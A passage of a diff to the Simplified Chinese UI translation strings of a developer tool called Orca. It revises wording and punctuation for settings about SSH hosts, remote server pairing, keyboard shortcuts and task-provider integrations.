+          "browseFolderHelp": "使用此主机上已有的检出或文件夹",
           "otherWaysToAdd": "其他添加方式",
           "cloneFromUrl": "从 URL 克隆",
-          "cloneFromUrlHelp": "将此仓库克隆到所选主机。",
+          "cloneFromUrlHelp": "将此仓库克隆到所选主机",
           "addPlannedHost": "添加主机占位符",
-          "addPlannedHostHelp": "记下此主机，稍后再完成添加项目。",
+          "addPlannedHostHelp": "记下此主机，稍后再完成添加项目",
           "existingFolder": "已有文件夹",
           "addPlannedHostToHost": "添加 {{host}}",
-          "addPlannedHostConfirm": "这仅记录项目应在此主机上可用。你可以稍后添加文件夹或克隆。",
-          "projectRuntimeDescription": "选择此项目运行在 Windows 还是 WSL。",
-          "hostStateDisconnected": "Disconnected",
-          "hostStateUnknown": "Unknown",
-          "nestedHostLabel": "{{value0}} via {{value1}}",
+          "addPlannedHostConfirm": "这仅记录项目应在此主机上可用，你可以稍后添加文件夹或克隆",
+          "projectRuntimeDescription": "选择此项目运行在 Windows 还是 WSL",
+          "hostStateDisconnected": "已断开连接",
+          "hostStateUnknown": "未知",
+          "nestedHostLabel": "{{value0}} 经由 {{value1}}",
           "externalWorktrees": "外部工作树",
-          "externalWorktreesDescription": "覆盖是否为此项目显示在 Orca 外部创建的工作树。",
-          "externalWorktreesInherited": "正在使用全局设置：{{value0}}",
+          "externalWorktreesDescription": "覆盖此项目是否显示在 Orca 外部创建的工作树",
+          "externalWorktreesInherited": "使用全局设置：{{value0}}",
           "show": "显示",
           "hide": "隐藏",
-          "externalWorktreesGlobal": "全局默认值：{{value0}}",
+          "externalWorktreesGlobal": "全局默认：{{value0}}",
           "useGlobal": "使用全局设置",
           "hostStateWorkspaceWindowClosed": "工作区窗口已关闭",
-          "hostWorkspaceWindowClosedHelp": "服务器可以访问，但其 Orca 窗口已关闭。在 {{value0}} 上打开 Orca 以使用此设置。",
+          "hostWorkspaceWindowClosedHelp": "服务器可达，但其 Orca 窗口已关闭，请在 {{value0}} 上打开 Orca 以使用此配置",
           "07deadaa00": "显示名称",
           "41ccd99b57": "项目运行时",
           "04eebebbea": "删除项目",
@@ -8007,15 +8294,15 @@
         },
         "RepositorySourceControlAiActionRows": {
           "548a6e1281": "提示词模板",
-          "f4310cf63f": "智能体",
+          "f4310cf63f": "代理",
           "1cd88d470a": "定制",
           "403876bb48": "使用全局",
           "f0aa2cfaea": "操作方案"
         },
         "RepositorySourceControlAiCustomCommand": {
-          "0704dd55cd": "仓库命令",
+          "0704dd55cd": "存储库命令",
           "e56668c291": "使用全局",
-          "fbb77e122a": "选择自定义命令的文本操作的 Repo 回退。",
+          "fbb77e122a": "选择“自定义命令”的文本操作所用的仓库级回退设置",
           "ebffc5a28c": "自定义命令",
           "f9941f0caf": "例如 ollama run llama3.1 {prompt}"
         },
@@ -8024,7 +8311,7 @@
           "show": "显示",
           "hide": "隐藏",
           "showActionsLabel": "显示源代码控制 AI 操作",
-          "visibilityHelper": "控制是否为此仓库显示源代码控制 AI 按钮。单独功能使用的生成会遵循这些功能各自的设置。全局默认值为 {{value0}}。"
+          "visibilityHelper": "控制是否为此仓库显示源代码控制 AI 按钮，单独功能使用的生成会遵循这些功能各自的设置，全局默认值为 {{value0}}"
         },
         "RepositorySourceControlAiHostedReviewDefaults": {
           "053ccfbf52": "关",
@@ -8033,12 +8320,15 @@
           "a68849a859": "全局默认是",
           "aa6ee4b7d6": "托管评审创建默认值",
           "629ed8a9d3": "创建后打开托管评审",
-          "14f1eb99d0": "打开 Create PR 时生成详细信息",
+          "14f1eb99d0": "打开“创建 PR”时生成详细信息",
           "d32b87e754": "可用时使用评审模板",
           "981eae7e14": "默认草稿"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "源代码控制 AI"
+        },
         "RuntimeAccessGrantList": {
-          "sshAccessCaveat": "在此撤销并不能阻止拥有这台电脑 SSH 访问权限的人重新配对。要彻底阻止，请移除其 SSH 访问权限。",
+          "sshAccessCaveat": "在此撤销并不能阻止拥有这台电脑 SSH 访问权限的人重新配对，要彻底阻止，请移除其 SSH 访问权限",
           "6f6d5188ed": "撤销 {{value0}}",
           "434e4a6af6": "当前链接",
           "df142657a5": "尚未使用",
@@ -8046,7 +8336,7 @@
           "b18d1764ef": "最后使用 {{value0}}",
           "linkName": "链接 · {{value0}}",
           "activeLinks": "有效链接",
-          "noActiveLinks": "没有有效链接。",
+          "noActiveLinks": "没有有效链接",
           "createdAt": "创建于 {{value0}}",
           "revoke": "撤销",
           "legacyEncryption": "上次使用的是旧版加密。请在使用此链接的设备上更新 Orca。"
@@ -8055,16 +8345,16 @@
           "af53761f31": "取消",
           "d2e00809e4": "切换",
           "05e0fc3ebf": "切换到",
-          "b2290ed203": "Orca 会聚焦此主机并加载其项目。其他主机上的现有终端和浏览器标签页会保持运行。",
+          "b2290ed203": "Orca 会聚焦此主机并加载其项目，其他主机上的现有终端和浏览器标签页会保持运行",
           "b07070ed3c": "没有连接服务器",
-          "99ac81fb43": "切换到 {{value0}}。",
-          "b5b5114cb0": "删除了 {{value0}}。",
-          "6cb6eae14f": "无法保存运行时环境。",
-          "serverAlreadyPaired": "此服务器已作为 {{value0}} 配对；已更新其连接。",
-          "0c55a47480": "需要名称和配对代码。",
-          "e6410d72c3": "无法加载运行时环境。",
+          "99ac81fb43": "切换到 {{value0}}",
+          "b5b5114cb0": "删除了 {{value0}}",
+          "6cb6eae14f": "无法保存运行时环境",
+          "serverAlreadyPaired": "此服务器已作为 {{value0}} 配对，已更新其连接",
+          "0c55a47480": "需要名称和配对代码",
+          "e6410d72c3": "无法加载运行时环境",
           "6ef71985da": "无终点",
-          "ed3e3f069d": "这会从 Orca 中移除已保存的服务器，不会更改新项目的默认主机。",
+          "ed3e3f069d": "这会从 Orca 中移除已保存的服务器，不会更改新项目的默认主机",
           "d25f0688b1": "移除",
           "9a91c4a0eb": "兼容",
           "86ed75bec8": "更新服务器",
@@ -8081,26 +8371,26 @@
           "serverConnected": "已连接",
           "serverChecking": "正在检查…",
           "serverDisconnected": "已断开连接",
-          "disconnectedServer": "已断开与 {{value0}} 的连接。",
+          "disconnectedServer": "已断开与 {{value0}} 的连接",
           "disconnect": "断开连接",
           "connect": "连接",
-          "runtimeReachable": "可连接到 {{value0}}。",
+          "runtimeReachable": "可连接到 {{value0}}",
           "updateServer": "更新",
           "updatingServers": "正在更新服务器…",
           "sshTunnelRequired": "需要 SSH 隧道",
           "serverWorkspaceWindowClosed": "工作区窗口已关闭",
           "serverRuntimeUnavailable": "Orca 不可用",
-          "serverRuntimeUnavailableDescription": "SSH 传输已连接，但 Orca 运行时未应答。主机可能仍在运行。",
-          "serverReconnecting": "重新连接",
+          "serverRuntimeUnavailableDescription": "SSH 传输已连接，但 Orca 运行时没有响应，主机可能仍在运行",
+          "serverReconnecting": "正在重新连接",
           "accessRevoked": "{{value0}} 不再允许此计算机连接。请使用新的访问链接重新配对。",
-          "managedAccessRevoked": "{{value0}} 不再接受这台电脑，且 Orca 无法通过 SSH 重新与其配对。请连接以重试。",
-          "connectAccessRevoked": "{{value0}} 不再接受这台电脑。请连接以重试。",
+          "managedAccessRevoked": "{{value0}} 不再接受这台电脑，且 Orca 无法通过 SSH 重新与其配对，请连接以重试",
+          "connectAccessRevoked": "{{value0}} 不再接受这台电脑，请连接以重试",
           "repair": "Re-pair…",
           "serverAccessRevoked": "Access revoked",
-          "pairedTwice": "与 {{value0}} 是同一台服务器，被配对了两次。请移除其中一个，以便编辑其项目。",
-          "removeDefaultServerDescription": "此服务器是新项目的默认主机。移除前请在“新项目打开位置”中选择其他主机。现有会话不受影响。",
-          "connectedNewProjectsHint": "已连接到 {{value0}}。若要默认在此创建新项目，请在“新项目打开位置”中选择它。",
-          "removeDefaultServerBlocked": "此服务器是新项目的默认主机。移除前请在“新项目打开位置”中选择其他主机。",
+          "pairedTwice": "与 {{value0}} 是同一台服务器，被配对了两次，请移除其中一个，以便编辑其项目",
+          "removeDefaultServerDescription": "此服务器是新项目的默认主机，移除前请在“新项目打开位置”中选择其他主机，现有会话不受影响",
+          "connectedNewProjectsHint": "已连接到 {{value0}}，若要默认在此创建新项目，请在“新项目打开位置”中选择它",
+          "removeDefaultServerBlocked": "此服务器是新项目的默认主机，移除前请在“新项目打开位置”中选择其他主机",
           "serverReplaced": "{{value0}} 不是此计算机配对的 Orca 服务器：Orca 正以其他 SSH 用户连接主机，或者其服务器已重新安装。请在此处打开 ⋯ 菜单并选择“遗忘…”，然后连接 SSH 主机以配对当前服务器。",
           "6f303a89a3": "切换服务器",
           "4ae8a4a381": "删除服务器"
@@ -8109,31 +8399,31 @@
           "0495f68959": "复制 {{value0}}"
         },
         "RuntimePairingUrlGenerator": {
-          "f7cafdc9f3": "浏览器链接在此版本中不可用。配对 URL 仍然适用于 Orca 客户端。",
-          "1ca2e5194d": "从可以到达所选地址的浏览器使用此 URL。",
+          "f7cafdc9f3": "浏览器链接在此版本中不可用，配对 URL 仍然适用于 Orca 客户端",
+          "1ca2e5194d": "从可以到达所选地址的浏览器使用此 URL",
           "45cf476df3": "主机、主机:端口或 wss://主机/路径",
           "4531ea3158": "自定义地址",
           "360c548cf3": "刷新连接地址",
           "de77eb1b65": "连接地址",
-          "ff80904fc4": "为浏览器或桌面客户端创建可撤销的访问授权。",
+          "ff80904fc4": "为浏览器或桌面客户端创建可撤销的访问授权",
           "f8500e134a": "分享此 Orca 服务器",
-          "d6c081adf4": "复制 URL 失败。",
-          "df0aa45a86": "复制的配对 URL。",
-          "13704d635e": "复制的 Web 客户端 URL。",
-          "e8d83f2b0f": "无法撤销共享访问。",
-          "9f8e037c4a": "共享访问权限已撤销。",
-          "d797f516b1": "共享访问权限已被撤销。",
-          "2ed55c841a": "无法生成配对 URL。",
-          "11d5248e62": "生成的配对 URL。",
-          "6dd594a507": "生成的 Web 客户端 URL。",
-          "2752126f3e": "运行时配对不可用。",
-          "95b8be4cea": "刷新网络接口失败。",
-          "1b4e0bbcc5": "无法加载共享访问授权。",
-          "custom-option": "{{address}}（自定义）",
+          "d6c081adf4": "复制 URL 失败",
+          "df0aa45a86": "复制的配对 URL",
+          "13704d635e": "复制的 Web 客户端 URL",
+          "e8d83f2b0f": "无法撤销共享访问",
+          "9f8e037c4a": "共享访问权限已撤销",
+          "d797f516b1": "共享访问权限已被撤销",
+          "2ed55c841a": "无法生成配对 URL",
+          "11d5248e62": "生成的配对 URL",
+          "6dd594a507": "生成的 Web 客户端 URL",
+          "2752126f3e": "运行时配对不可用",
+          "95b8be4cea": "刷新网络接口失败",
+          "1b4e0bbcc5": "无法加载共享访问授权",
+          "custom-option": "{{address}}(自定义)",
           "add-custom": "使用自定义地址…",
           "custom-title": "自定义连接地址",
-          "custom-description": "公布其他设备可以访问的地址：LAN 或 Tailscale 主机，或完整的 ws(s):// URL。",
-          "custom-hint": "请输入主机、host:port 或 ws(s):// URL。",
+          "custom-description": "公布其他设备可访问的地址：LAN / Tailscale 主机，或完整 ws(s):// URL",
+          "custom-hint": "请输入主机、host:port 或 ws(s):// URL",
           "custom-cancel": "取消",
           "custom-use": "使用地址",
           "anotherDevice": "其他设备",
@@ -8142,65 +8432,65 @@
           "customAddress": "自定义地址",
           "customAddressHelp": "SSH 隧道、反向代理或自定义主机名",
           "localLink": "仅本地链接",
-          "localLinkHelp": "此链接仅在运行于此计算机上的浏览器或 Orca 客户端中有效。",
-          "noExternalAddress": "未找到其他设备的地址。将此计算机连接到 LAN 或 Tailscale，刷新，或选择“自定义地址”。",
-          "customInvalid": "请输入有效的主机、主机:端口、IPv6 地址或 ws(s):// URL。",
+          "localLinkHelp": "此链接仅在运行于此计算机上的浏览器或 Orca 客户端中有效",
+          "noExternalAddress": "未找到其他设备的地址，将此计算机连接到 LAN 或 Tailscale，刷新，或选择\"自定义地址\"",
+          "customInvalid": "请输入有效的主机、主机:端口、IPv6 地址或 ws(s):// URL",
           "thisComputer": "此电脑",
           "whoOpens": "谁会打开此链接",
           "addressLabel": "地址",
           "createLink": "创建链接",
           "browserLinkLabel": "浏览器链接",
           "accessLinkLabel": "访问链接",
-          "accessLinkHelp": "将其粘贴到另一个 Orca 的“添加服务器”中。",
-          "staleAddressCreate": "连接地址已更改。请为 {{address}} 创建新链接。",
+          "accessLinkHelp": "将其粘贴到另一个 Orca 的“添加服务器”中",
+          "staleAddressCreate": "连接地址已更改，请为 {{address}} 创建新链接",
           "linkExpired": "链接已过期",
           "unusedLinkExpires": "未使用的链接将于 {{time}} 过期"
         },
         "Settings": {
           "3bf149e873": "项目设置 > {{value0}}",
-          "075341c763": "仍在形成的新功能。尝试一下。",
+          "075341c763": "仍在完善中的新功能，欢迎试用",
           "8b017f2506": "实验性",
-          "499c1cd7f9": "用于故障排除的低级兼容性设置。",
+          "499c1cd7f9": "排查问题用的底层兼容性设置",
           "1c87f8d024": "高级",
-          "c1b43dc4e2": "匿名使用数据和遥测控制。",
-          "9b83cc62c2": "终端启动的开发者工具的 macOS 隐私访问。",
+          "c1b43dc4e2": "匿名使用数据与遥测控制",
+          "9b83cc62c2": "终端启动的开发者工具所需的 macOS 隐私权限",
           "65660d4548": "macOS 权限",
-          "c6c01ac209": "通过手机控制终端和智能体。",
+          "c6c01ac209": "用手机控制终端和代理",
           "c40dadaac8": "移动端",
-          "c2ee313198": "通过 SSH 使用已有机器处理文件、终端、Git 和工作区。",
-          "7686cb5c36": "将此浏览器连接到已保存的 Orca 服务器。",
-          "8acf3f22e0": "Orca 统计，以及 Claude、Codex、OpenCode、Muse Token 分析和 Grok 订阅使用量。",
-          "a737a4bb22": "常见操作的键盘快捷键。",
+          "c2ee313198": "通过 SSH 在已有机器上处理文件、终端、Git 和工作区",
+          "7686cb5c36": "将此浏览器连接到已保存的 Orca 服务器",
+          "8acf3f22e0": "Orca 统计，以及 Claude、Codex、OpenCode、Muse Token 分析和 Grok 订阅使用量",
+          "a737a4bb22": "常用操作的键盘快捷键",
           "23bf7a1ad4": "快捷键",
-          "7210ac09c4": "针对智能体活动和终端事件的原生桌面通知。",
+          "7210ac09c4": "代理与终端事件的桌面通知",
           "9907545fa3": "通知",
-          "d0b7021d64": "选择和编辑行为。",
-          "6d1a27e193": "主题、缩放、应用程序和终端外观、侧边栏和状态栏。",
+          "d0b7021d64": "选择与编辑相关行为",
+          "6d1a27e193": "主题、缩放、应用与终端外观，以及侧边栏和状态栏",
           "2b4474780a": "外观",
-          "3d9adfe6a5": "全局终端、浏览器和 Markdown 选项卡。",
-          "01f9d36292": "配置对 Orca 和编码智能体的手机模拟器支持。",
-          "ad9788036f": "主页、链接路由和会话 cookie。",
+          "3d9adfe6a5": "全局终端、浏览器和 Markdown 标签页",
+          "01f9d36292": "为 Orca 与编码代理配置手机模拟器",
+          "ad9788036f": "主页、链接路由和会话 cookie",
           "c46215ea03": "浏览器",
-          "6742c7932c": "保存的终端命令，范围全局或每个项目。",
-          "b79b5b31e9": "Shell、渲染器、会话和终端行为。",
+          "6742c7932c": "已保存的终端命令，可全局或按项目",
+          "b79b5b31e9": "Shell、渲染器、会话和终端行为",
           "3de4bbb841": "终端",
-          "cfa34f4465": "分支命名、基础引用和 Git AI Author。",
-          "b07041697f": "连接 GitHub、GitLab、Linear 和源托管服务。",
+          "cfa34f4465": "分支命名、基础引用和 Git AI Author",
+          "b07041697f": "连接 GitHub、GitLab、Linear 和代码托管服务",
           "c9ca101a3b": "集成",
-          "f9b77539fd": "工作区默认值、应用程序设置和维护。",
+          "f9b77539fd": "工作区默认值、应用设置与维护",
           "7807c11c4d": "通用",
-          "6855b0f77d": "完成使 Orca 对于并行智能体工作有用的核心工作流程。",
+          "6855b0f77d": "完成 Orca 并行代理工作流所需的核心步骤",
           "6d119427ef": "入门清单",
           "5063bb47a5": "语音",
-          "7118953f14": "使智能体能够控制您计算机上的任何应用程序。",
-          "475980f53d": "通过 Orca 协调多个编码智能体。",
+          "7118953f14": "让代理控制本机应用",
+          "475980f53d": "通过 Orca 协调多个编码代理",
           "00c3a7950d": "编排",
-          "21f09426ea": "可选。 Orca 可与您现有的提供商登录配合使用；仅当您希望 Orca 帮助在账户之间切换时才添加账户。",
-          "ec1ba547f7": "管理 AI 智能体、设置默认值并自定义命令。",
-          "8afa676615": "智能体",
+          "21f09426ea": "Orca 可直接使用你现有的提供商登录，需要在账户间切换时再添加账户",
+          "ec1ba547f7": "管理代理、默认项与命令",
+          "8afa676615": "代理",
           "c7ad095d96": "正在加载设置...",
           "acc7bbdefd": "再按一次 ESC 退出设置",
-          "43b68e10f0": "你有未保存的 AI 设置。离开后这些设置将被放弃。",
+          "43b68e10f0": "你有未保存的 AI 设置，离开后这些设置将被放弃",
           "17bdee4ff1": "放弃未保存的 AI 设置？",
           "084d8fac5b": "隐私与安全",
           "23931df7e8": "远程主机",
@@ -8209,11 +8499,11 @@
           "9abb9be3bc": "初始设置",
           "23c6874fdf": "AI 能力",
           "65358016ea": "放弃",
-          "devDescription": "仅用于调试 UI 状态的开发工具。",
+          "devDescription": "仅用于调试 UI 状态",
           "linearTitle": "Linear",
-          "linearDescription": "Linear 在 Orca 中的工作方式、设置清单、智能体技能和提示词示例。",
-          "tasksDescription": "连接提供商、安装 Linear 技能并选择要在任务中显示的内容。",
-          "remoteServersDescription": "在另一台机器上运行 Orca，并在这里使用它。",
+          "linearDescription": "Linear 在 Orca 中的用法、设置清单、技能与提示示例",
+          "tasksDescription": "连接提供商、安装 Linear 技能，并选择任务中显示的内容",
+          "remoteServersDescription": "在另一台机器上运行 Orca，并在这里使用它",
           "noSettingsFoundForQuery": "找不到“{{value0}}”的设置",
           "045db77e21": "SSH 远程主机",
           "c0900fa64a": "任务来源",
@@ -8230,13 +8520,13 @@
           "d60b7f0e58": "快捷命令"
         },
         "SettingsFormControls": {
-          "42a4d15a30": "没有匹配的字体。",
+          "42a4d15a30": "没有匹配的字体",
           "b55371ea18": "字体",
           "c766f8ac75": "切换字体建议",
           "74bcecd5ec": "清除",
           "a4ff6143f8": "清除字体选择",
           "b661b034ec": "· 默认：",
-          "ceefb9d7f1": "未找到主题。",
+          "ceefb9d7f1": "未找到主题",
           "builtin_themes": "内置",
           "imported_themes": "已导入",
           "search_terminal_themes": "搜索终端主题",
@@ -8248,9 +8538,10 @@
           "dbceaa8840": "搜索设置",
           "60f8a673a7": "返回应用",
           "6503182299": "入门清单",
-          "82db1b7de4": "入门清单，已完成 {{value0}}/{{value1}}。显示设置指南。",
-          "df38d612b7": "尚未添加项目。",
-          "3e483e256b": "没有匹配的项目设置。"
+          "82db1b7de4": "入门清单，已完成 {{value0}}/{{value1}}，显示设置指南",
+          "df38d612b7": "尚未添加项目",
+          "3e483e256b": "没有匹配的项目设置",
+          "progressComplete": "已完成 {{value0}}/{{value1}}"
         },
         "ShortcutFilterRail": {
           "28b63545bf": "状态",
@@ -8264,28 +8555,28 @@
           "filterConflicts": "冲突"
         },
         "ShortcutRowsList": {
-          "4ce3cd24d9": "没有与这些筛选条件匹配的快捷键。"
+          "4ce3cd24d9": "没有与这些筛选条件匹配的快捷键"
         },
         "ShortcutTerminalPolicyControl": {
           "0762983d13": "终端优先",
           "63308571d8": "Orca 优先",
           "c43c7ff5f9": "决定谁首先拦截捷径",
-          "0f55c6f15c": "选择当快捷键重叠时 Orca 或焦点终端是否获胜。",
+          "0f55c6f15c": "快捷键冲突时，选择由 Orca 还是当前终端优先处理",
           "7d81bebd89": "终端中的快捷键"
         },
         "ShortcutsPane": {
-          "4b7ae34062": "直接地。",
-          "38e86e206a": "直观地自定义快捷键或编辑",
-          "f0b35b0b2e": "当终端或 TUI 具有键盘焦点时禁用。",
+          "4b7ae34062": "，直接编辑该文件即可",
+          "38e86e206a": "自定义或编辑快捷键",
+          "f0b35b0b2e": "当终端或 TUI 具有键盘焦点时禁用",
           "5c65d5db9d": "终端优先",
-          "dfa8ff612f": "也在终端或 TUI 具有键盘焦点时运行。",
+          "dfa8ff612f": "也在终端或 TUI 具有键盘焦点时运行",
           "2a0e8aeccf": "Orca 优先",
-          "3c0fac059a": "当终端具有键盘焦点时仍然运行。",
+          "3c0fac059a": "当终端具有键盘焦点时仍然运行",
           "25b0004fbf": "终端活跃",
-          "781cb74d22": "从终端窗格运行。",
+          "781cb74d22": "从终端窗口运行",
           "cb02e00202": "终端",
           "d8c988dab4": "~/.orca/keybindings.json",
-          "shortcutUnavailable": "此快捷键已不再可用。",
+          "shortcutUnavailable": "此快捷键已不再可用",
           "9a3a3ca03d": "键盘快捷键"
         },
         "SourceControlAiActionRecipeDefaults": {
@@ -8293,10 +8584,10 @@
           "b3914ecbbc": "放弃",
           "fb09da4345": "提示词模板",
           "0740d30915": "自定义命令",
-          "ee0e5c2a48": "使用默认智能体",
-          "bf84dea6af": "仅当您希望 Orca 注入上下文时才使用变量。将智能体保留为默认值以遵循您的正常智能体偏好。",
+          "ee0e5c2a48": "使用默认代理",
+          "bf84dea6af": "仅当您希望 Orca 注入上下文时才使用变量，将代理保留为默认值以遵循您的正常代理偏好",
           "a79c567194": "操作方案",
-          "cf01d41bce": "每个源代码管理 AI 按钮使用的智能体、CLI 参数和提示词模板。",
+          "cf01d41bce": "每个源代码管理 AI 按钮使用的代理、CLI 参数和提示词模板",
           "b5f46664d3": "无法保存源代码控制 AI 操作默认值：{{value0}}",
           "d18d665e12": "保存",
           "4f549a5fa8": "保存中...",
@@ -8311,13 +8602,13 @@
           "d74fdc776c": "命令",
           "673369fe0c": "命令行",
           "db9bd75d10": "论点",
-          "926d58e87f": "智能体"
+          "926d58e87f": "代理"
         },
         "SparsePresetSettingsSection": {
           "6fa754d20f": "删除",
           "fe1f2c6572": "编辑 {{value0}}",
-          "88bfbf1a9c": "没有为此仓库保存稀疏预设。",
-          "17f8c4ce10": "管理保存的目录集以创建稀疏工作树。",
+          "88bfbf1a9c": "没有为此存储库保存部分检出预设",
+          "17f8c4ce10": "管理保存的目录集以创建部分检出工作树",
           "8b64731aaf": "还有 +{{value0}} 个",
           "755c6a1a0d": "确认",
           "a7bcf206b1": "正在删除",
@@ -8325,8 +8616,8 @@
           "568d7e1e49": "已更新 {{value0}}",
           "d7b3f0bdc3": "{{value0}} 目录",
           "9d3c087fc0": "1 个目录",
-          "8deb7024ab": "正在加载稀疏预设...",
-          "92c08ccae3": "无法加载稀疏预设。",
+          "8deb7024ab": "正在加载部分检出预设...",
+          "92c08ccae3": "无法加载部分检出预设",
           "2ef2b2674b": "删除 {{value0}}",
           "124ff6ea6c": "稀疏检出预设",
           "683e781027": "新预设"
@@ -8336,7 +8627,7 @@
           "moreTargets": "另外 {{count}} 个"
         },
         "SshPane": {
-          "c0f1c80166": "未配置 SSH 目标。",
+          "c0f1c80166": "未配置 SSH 目标",
           "f495689b82": "导入失败",
           "68c13b4589": "测试失败",
           "81d08bcddf": "连接成功",
@@ -8353,7 +8644,7 @@
           "0cda732f43": "连接测试失败",
           "syncedServerSingular": "已同步 {{count}} 台服务器",
           "syncedServerPlural": "已同步 {{count}} 台服务器",
-          "noFilterMatch": "没有匹配的主机。",
+          "noFilterMatch": "没有匹配的主机",
           "addHost": "添加主机",
           "alreadyInSync": "~/.ssh/config 已是最新同步状态"
         },
@@ -8372,8 +8663,8 @@
           "1f3dde805d": "SSH 密钥口令",
           "106bd57f4a": "SSH 密码",
           "a21f9e74c0": "SSH 验证",
-          "981352fb42": "完成验证挑战",
-          "456516603b": "输入回复",
+          "981352fb42": "请完成以下对象的验证质询：",
+          "456516603b": "输入响应",
           "c624f64b86": "继续"
         },
         "SshTargetCard": {
@@ -8391,26 +8682,28 @@
           "remove": "移除…"
         },
         "SshTargetDestructiveActions": {
-          "3bb0cf0ee4": "这将删除目标并结束任何活动的远程终端。",
+          "3bb0cf0ee4": "这将删除目标并结束任何活动的远程终端",
           "bulkTitleSingular": "移除 {{count}} 个 SSH 主机？",
           "bulkTitlePlural": "移除 {{count}} 个 SSH 主机？",
-          "bulkDescription": "移除的主机将从工作区、自动化和侧边栏的主机选择器中消失。你的 ~/.ssh/config 不会被修改，之后同步也不会把它们加回来。",
+          "bulkDescription": "移除的主机将从工作区、自动化和侧边栏的主机选择器中消失，你的 ~/.ssh/config 不会被修改，之后同步也不会把它们加回来",
           "bulkAction": "移除 {{count}} 个",
           "bulkProgress": "正在移除第 {{done}} 个，共 {{count}} 个…",
-          "bulkConnectedSingular": "{{count}} 个主机已连接。其远程终端将被关闭。",
-          "bulkConnectedPlural": "{{count}} 个主机已连接。其远程终端将被关闭。",
+          "bulkConnectedSingular": "{{count}} 个主机已连接，其远程终端将被关闭",
+          "bulkConnectedPlural": "{{count}} 个主机已连接，其远程终端将被关闭",
+          "remove": "移除",
+          "removing": "正在删除",
           "916f480036": "删除 SSH 目标"
         },
         "SshTargetForm": {
           "fea9cb402e": "取消",
-          "feae1d1e69": "可选。相当于 ProxyJump / ssh -J。",
+          "feae1d1e69": "可选，相当于 ProxyJump / ssh -J",
           "11bcb4507a": "bastion.example.com",
           "b2ab248ded": "跳板主机",
-          "3b01ca44a0": "可选。用于隧道（例如 Cloudflare Access、ProxyCommand）。",
+          "3b01ca44a0": "可选，用于隧道(例如 Cloudflare Access、ProxyCommand)",
           "f42d844544": "例如 cloudflared access ssh --hostname %h",
           "c7d0e18ecb": "代理命令",
-          "cb91f6375c": "可选。默认使用 SSH 智能体。",
-          "d6a5f2ee5c": "~/.ssh/id_ed25519（SSH 智能体留空）",
+          "cb91f6375c": "可选，默认使用 SSH 代理",
+          "d6a5f2ee5c": "~/.ssh/id_ed25519(SSH 代理留空)",
           "c94cfa634c": "端口",
           "47e082bc17": "部署",
           "dc1dc52aaa": "用户名",
@@ -8418,16 +8711,16 @@
           "ce370ce674": "主机或别名 *",
           "298de87a88": "标签",
           "8c922dffba": "复用 SSH 连接以加快设置",
-          "53e9aabfc0": "可用时使用 OpenSSH 多路复用。对于有自定义 SSH 限制的主机，请关闭此项。",
+          "53e9aabfc0": "可用时使用 OpenSSH 多路复用，对于有自定义 SSH 限制的主机，请关闭此项",
           "proxyConnectionReuse": "复用单个代理连接",
-          "proxyConnectionReuseHelp": "通过较慢的 ProxyCommand 或 ProxyJump 主机连接时更快。仅当你的 ssh_config 不依赖主机特定的 Match 或 %h 规则时才启用。",
+          "proxyConnectionReuseHelp": "通过较慢的 ProxyCommand 或 ProxyJump 主机连接时更快。仅当你的 ssh_config 不依赖主机特定的 Match 或 %h 规则时才启用",
           "editTitle": "编辑 SSH 主机",
           "addTitle": "添加 SSH 主机",
-          "editDescription": "更新此机器的连接详情。更改将在下次连接时生效。",
-          "addDescription": "添加一台可通过 SSH 登录的持久机器。",
+          "editDescription": "更新此机器的连接详情，更改将在下次连接时生效",
+          "addDescription": "添加一台可通过 SSH 登录的持久机器",
           "editingPrefix": "正在编辑",
           "reconnectOnLaunch": "启动时重新连接",
-          "reconnectOnLaunchHelp": "关闭后，Orca 启动时会让此主机及通过它访问的 Orca 服务器保持断开，直到你手动连接。",
+          "reconnectOnLaunchHelp": "关闭后，Orca 启动时会让此主机及通过它访问的 Orca 服务器保持断开，直到你手动连接",
           "allowRemoteCliControl": "允许此主机控制其工作区中的 Orca 浏览器标签页",
           "allowRemoteCliControlHelp": "新主机默认开启。此主机上的智能体和 orca 命令可以打开、读取和使用此桌面上的 Orca 浏览器标签页，但仅限此主机的工作区，且仅在主机连接期间。它控制的标签页会显示其名称。此主机上由旧版 Orca 启动的终端也需要开启此项才能运行 orca 编排命令。它无法读取你的文件、剪贴板或 Cookie。",
           "addHost": "添加主机",
@@ -8441,53 +8734,53 @@
           "7c5d7fdc20": "GitLab",
           "e14063e727": "GitHub",
           "connectProviderTitle": "连接 {{provider}}",
-          "connectCodeHostDescription": "在集成中安装并验证 CLI，以便 Orca 加载议题。",
-          "connectionCheckUnavailable": "Orca 无法检查此连接。请重试，或打开“集成”查看设置详情。",
+          "connectCodeHostDescription": "在集成中安装并验证 CLI，以便 Orca 加载议题",
+          "connectionCheckUnavailable": "Orca 无法检查此连接，请重试，或打开\"集成\"查看设置详情",
           "retryConnection": "重试",
           "openIntegrations": "集成",
           "connectInIntegrations": "在集成中设置",
           "connectJiraTitle": "连接 Jira",
-          "connectJiraDescription": "使用 API Token 或 PAT 添加 Jira Cloud 站点或自托管实例。",
+          "connectJiraDescription": "使用 API Token 或 PAT 添加 Jira Cloud 站点或自托管实例",
           "manageJira": "管理密钥",
           "addJira": "添加 Jira 访问权限",
-          "githubDescription": "浏览 GitHub 议题并从中启动工作区。",
-          "gitlabDescription": "浏览 GitLab 议题并从中启动工作区。",
-          "linearDescription": "连接 Linear、安装智能体技能并将其显示在任务中。",
-          "jiraDescription": "连接 Jira Cloud 或自托管 Jira 并将其显示在任务中。",
+          "githubDescription": "浏览 GitHub 议题并从中启动工作区",
+          "gitlabDescription": "浏览 GitLab 议题并从中启动工作区",
+          "linearDescription": "连接 Linear、安装代理技能并将其显示在任务中",
+          "jiraDescription": "连接 Jira Cloud 或自托管 Jira 并将其显示在任务中",
           "setupTitle": "任务管理设置",
-          "setupDescription": "在一处完成每个提供商的连接和显示设置。Linear 还需要智能体技能，以便智能体读取和更新议题。必须至少保留一个可见提供商。",
+          "setupDescription": "集中完成提供商连接与显示设置，Linear 还需代理技能，请至少保留一个可见提供商",
           "incompleteBannerTitle": "部分可见提供商仍需设置",
-          "incompleteBannerBody": "隐藏不使用的提供商，或展开卡片并完成其中的步骤。",
-          "providersDescription": "每张卡片都会引导你完成连接、任务显示设置；Linear 还包括技能设置。",
-          "integrationsHint": "所有提供商的凭据也可在此管理：",
+          "incompleteBannerBody": "隐藏不用的提供商，或展开卡片完成其中的步骤",
+          "providersDescription": "每张卡片会引导你完成连接与任务显示，Linear 还包括技能设置",
+          "integrationsHint": "各提供商的凭据也可在",
